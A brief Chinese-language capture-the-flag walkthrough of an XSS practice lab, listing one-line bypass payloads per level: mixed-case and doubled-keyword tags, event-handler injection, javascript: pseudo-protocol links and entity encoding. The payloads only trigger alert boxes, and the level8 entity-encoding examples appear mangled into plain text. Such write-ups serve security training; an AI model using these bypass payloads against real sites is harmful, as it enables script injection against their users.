xss通关挑战

xss通关挑战
xiu绕过规则
关键字被过滤的情况
1 | <svg> |
大小写绕过
1 | <ImG sRc=1 onerRor=alert(1);> |
双写关键字(有限制)
1 | <imimgg srsrcc=x onerror=alert("xss");> |
Javascript伪协议的使用
1 | <table background="javascript:alert(1)"></table> |
level1
level2
1 | "><script>alert(/xss/)</script> |
level3
1 | ' onclick='alert(1) |
level5
javascript伪协议绕过
1 | "><a href='javascript:alert(1)'> |
level6
事件或javascript伪协议大小写绕过
1 | "><a Href='javascript:alert(1)'> |
level7
javascript伪协议双写绕过)
1 | "><a hhrefref='javasscriptcript:alert(1)'> |
level8
javascript伪协议实体编码绕过
1 | 十进制实体编码:javascript:alert(1) |
1 | 十六进制实体编码:javascript:alert(1) |